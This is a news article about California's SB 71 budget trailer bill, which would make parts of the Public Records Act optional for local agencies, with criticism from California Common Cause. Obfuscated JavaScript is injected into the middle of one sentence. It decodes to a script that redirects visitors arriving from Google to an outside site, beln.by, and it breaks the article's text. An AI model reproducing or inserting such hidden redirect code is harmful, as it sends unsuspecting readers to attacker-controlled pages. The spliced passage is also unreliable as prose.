Trailer bill targets Public Records Act

Tucked away in the state budget package on Gov. Brown’s desk is a provision that makes it easier for local governments to avoid complying with Public Records Act requests.


“The bill essentially makes a portion of the Public Records Act optional for local governments – that’s the long and short of it,” said Phillip Ung of California Common Cause, which tracks government transparency.


The bill, SB 71 by the Senate budget committee, allows cities, counties and other local entities such as school districts and planning commissions, to decide whether to comply with requests.  The measure is one of dozens of bills accompanying the var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} main budget bill that contains agreements, changes in law and details related to the primary bill.


“The bill would encourage local agencies to follow these provisions as ‘best practices,’ and would require a local agency that determines it will not follow these best practices to so announce orally at its next regularly scheduled meeting and annually thereafter,” according to the bill. State entities, such as the Legislature and the bureaucracy, would not be affected by SB71, which only applies to local agencies.


The Public Records Act governs the public’s access to government documents. Under the PRA, agencies are required to respond in a timely fashion to requests for information.


The bill also contains a provision requiring the state to reimburse the locals for the costs of complying with PRA requests.


“This should be troubling to voters, because a local jurisdiction that makes a decision to not be held accountable will not be held accountable,” Ung said.

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